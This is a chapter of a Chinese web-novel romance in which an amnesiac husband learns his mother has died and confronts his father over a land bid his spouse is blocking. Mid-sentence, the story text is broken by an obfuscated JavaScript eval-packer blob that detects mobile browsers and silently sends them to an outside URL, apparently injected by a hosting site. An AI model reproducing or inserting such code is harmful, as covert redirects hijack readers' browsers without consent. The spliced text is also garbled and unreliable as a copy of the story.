10.父亲
作品:《一觉醒来发现我结婚了》 电话接通的瞬间,江清雾的眼神瞬间亮起来,“喂,妈妈。”他的语气中带着一丝他察觉不到的激动。
“哎!小雾,怎么了?”轻柔的女声从听筒中传来。
江清雾的眼神暗淡,眉头紧蹙。
这分明不是他妈妈的声音。
电话那头的女士仍旧在说话,“是不是我好久没过去看安安宁宁,他们两个想我了?等我忙完手头上的活儿,就过去看他们。”她的声音中带着欢喜。
“嗯,安安宁宁一直说想您了,闹着要去看您。”江清雾笑着说出临时编出的谎言,几乎是在舒霞芸说出话后,他就猜出对方的身份,
她是时澜的母亲。
“真是的,你告诉他们过几天奶奶就过去看他们!”两人又陆续聊了一会儿。
电话结束,江清雾失魂落魄地放下手机,心头上的不安再度加剧。
接电话的是时澜的妈妈,那他的妈妈去哪里了?
*
“在干嘛?怎么不吃饭?”时澜转过头,垂眸看向江清雾,他的神色温柔,声音也很轻。
“没事,就是没那么饿。”江清雾放下筷子,“我吃饱了,先上去休息了。”说完他便朝着楼上走去。
这种失魂落魄的状态从刚刚吃饭的就开始,一直到深夜都没结束。
江清雾侧躺在床上,落地灯昏黄的灯光照在他的半张面庞上,像是镀上一层金光,眼眸微微敛起,带着淡淡的忧伤。
最坏的结果已经被他想到,而且大概率是真的。
他妈妈的身体早就在长年的高强度工作下垮掉,在他高中的时候,就经常看着妈妈摆弄那些瓶瓶罐罐。
虽然习以为常了,但是也焦虑,他从来没有主动去问妈妈的情况,因为害怕听到糟糕的消息。
或许,只是在吃保健品吧,他安慰自己。
可是到底是吃的什么药,江清雾心里一清二楚。
他辗转反侧,躺在床上怎么都睡不着。
“睡不着?”沙哑的声音从背后传来,对方习以为常地抱住他的脊背,温凉的躯体被紧紧拥住,对方的呼吸扑倒在江清雾的脖颈上,“快睡吧。”他又说。
平稳的呼吸声响起。
这声音像是能催眠一样,原本的心烦意乱也在呼吸的一起一伏间消失殆尽,江清雾这次一改对时澜亲昵举动的不适,相反,这次他在时澜的怀抱中陷入深眠,好像很久之前那样。
江清雾的身材并不娇小,相反比起其他的omage他的个子很高,足足有一米八,可是在时澜的怀里看起来却很小。
他能被对方完完整整地抱住,严丝合缝,就像是抱着一个小玩偶一样。
这一觉,让江清雾睡到了早上九点,屋子内还有淡淡的兰花香,残留下来的伴侣的安抚信息素让江清雾感到无比顺畅,他深吸一口气,把脸埋在了枕头里。
电话铃声打断了这份宁静,上面明晃晃的三个大字,江青松。
江清雾瞅了一眼,有些惊讶,自己的胆子现在居然这么大了,备注居然是他亲爹的全名。
“喂,爸怎么了?”他打了个哈欠说。
对方先是一滞,笑呵呵说:“哎呦,雾雾,你说城西那块地,爸老早就看上了,陆陆续续地筹了不少钱,就差那临门一脚了。”他委婉提示。
江清雾心中疑惑,说:“什么城西的地,我不知道这件事情啊?”
江青松本就憋着一肚子火气,给儿子低声下气本就让他恼怒,现在这江清雾还在他面前装疯卖傻,让他的火气更甚。
他破口大骂:“江清雾,你现在长大了,胆子也大了,仗着时澜在我面前摆起谱来,眼里还有没有我这个父亲了!”
“当年的事我确实对不起你母亲,但是我什么时候对不起过你这个儿子,家里面的东西我什么没有给你,父子之间哪里来的仇恨,惹得你现在这么对我赶尽杀绝,你这个白眼狼!”
江清雾被喷的狗血淋头,恍恍惚惚。
“到底是发生了什么!”他对着电话急促地问。
“干了什么,你怎么不去问问你背后的靠山啊!我不管你用什么样的手段,让时澜立马给我停手!”
江青松这个人也是蹬鼻子上脸,见江清雾喊他爸,腰板一挺就开始施压,他对着手机怒吼:“不然我就到去你妈的坟上好好说说你这个不孝子!”说完江青松就气急败坏地挂断了电话。
江清雾直挺挺地坐在床上,一半是气的,另一半是被惊的。
气的是他爸不分青红皂白就劈头盖脸一顿骂,惊的是妈妈真的去世了。
一口气吊在他的喉咙中,上不去也咽不下去。
他如鲠在喉,哆嗦地打开了手机,从来到这里开始,他就一直在寻找这几年缺失的记忆,一开始他还想着从手机中寻找自己有关于自己的记忆,不过糟糕的是,这个手机是刚刚换过的,上面基本上没留下什么重要的东西。
他还找过早些年留下的社交账号,上面除了一些伤感语录几乎没有其他东西,而且这些留下来的信息都是自己高中时期发表的。
至于之后的东西上面全都没有。
就连手机里面的照片也很少。
青春期的小孩一贯不喜欢拍照,江清雾也是,对拍照有种天然的不适感,不过他也是没想到,这种不适感居然能持续这么长时间,以至于他长大了也不愿意去拍照记录。
他迅速调整着沮丧的情绪,压着心上的不耐烦,准备去找时澜。
这倒不是为了顺着他爸的意,而是为了知道当年到底发生了什么。
还有他爸到底做了什么对不起他妈的事情,答案显然易见,但他还是选择去求证。
不然,他不信他爸能说出在他妈坟头骂他这种不要脸的话。
江清雾有驾照,但是因为最近受伤的缘故,时澜就不让他自己开车出去,出门都是司机专程接送,出行消息还要实时传达到时澜那里。
所以从江清雾刚坐上车开始,时澜就知道江清雾要来公司了。
他告诉助理先下楼去大厅,等江清雾过来。
整个路程,江清雾都在脑子里排练着到了公司到底要如何和时澜交谈。
“老公,爸爸的事情你知道吗?”
不行不行,时澜自己做的事情他肯定清楚,这么说肯定露馅。
“老公,我们这么对爸爸是不是太过分了?”
“老公,我看爸爸年纪也大了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215417|197118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
...”
想着想着,车就到了公司楼下,助理几乎是他进入到公司的瞬间,就锁定了江清雾。
“江先生,我来送您上去。”他热情地凑上去,脸上挂着笑。
“麻烦了。”
“怎么算麻烦呢,您最近的伤好点吗?前几天您没醒的时候,总裁每天都提心吊胆,工作都提不起来劲儿。”助理眼中带着关切。
“现在好多了,多谢关心。”江清雾讲着客套话。
从别人口中听到时澜对他的关切,这种感觉很奇妙。
不过这种情绪没有留存多久就消失不见了。
时澜开门见山,“我是不会放弃竞标的。”明明语句冰冷,但是眼神中却又带着柔情,这样的姿态让江清雾背后生出恶寒。
江清雾打着腹稿,说:“爸爸也不容易啊,他年纪那么大了,还一直在操持公司。”
原来是竞标的事情啊,应该是爸爸前期投入了不少,后面时澜的公司临门插了一脚,所以才惹得对方大发雷霆吧。
不过江清雾也没有立马和时澜发脾气,直觉告诉他,这件事情绝对有什么隐情。
时澜缓缓叹气,他拉开皮质座椅,走到江清雾的身边,“老婆,你的心可太软了,这样可不好。”
“再怎么说,他也是我爸啊。”
“血缘关系吗?这才是最狠毒的东西。”时澜又说。
不知其解的江清雾云里雾里地听完这番话,时澜握住江清雾的手,“阿雾,这件事情你就不要插手了好吗?当时咱俩不是商量好的吗?你也同意了。”
他同意了吗?
同意这么搞自己爸,这也太匪夷所思了。
眼前的一切指向一个确切的答案,他和他爸反目成仇了。
江清雾大脑飞速运转处理着这些消息,受伤的脑袋现在格外清醒。
他冷静地攥住时澜的手,说:“有时间去看看我妈吧,也该过去给烧点钱了。”
时澜点点头。
“不要担心,你的事情,我是无论如何都不会办错的。”他一秒钟就明白了江清雾的意思。
他也没想到这件事情会捅到已经失忆的江清雾那里。
是的,他早已知晓江清雾的失忆,并判断到自己老婆的记忆应该停留在高中,前几次江清雾的套话都被他灵巧地躲过。
看着老婆拙劣的演技,他忍俊不禁,心中也不免产生了逗弄的想法,但是又怕太过火惹得老婆不悦。
说实话,他想一辈子让江清雾什么都不知道到底发什么了什么事情,永远快快乐乐,但是纸终究是包不住火,该知道的还是得知道。
所以,这个老丈人到底要怎么处理呢?时澜觉得让他破产简直是便宜他了。
他的目光扫过江清雾额头上的伤口,眼神晦暗不明。
那个私生子也该好好处理了,动人动到他手上,也是嫌自己命长。
“老公?”江清雾被时澜这样的眼神盯得心里发毛。
“阿雾,你坐沙发上歇会儿,我叫助理订了餐,一会儿就送上来了,你生病就不要乱跑,在我办公室的屋子里好好休息,晚上咱们一块儿回家。”他面带柔情,手轻柔地摸在江清雾蓬松的发丝上。

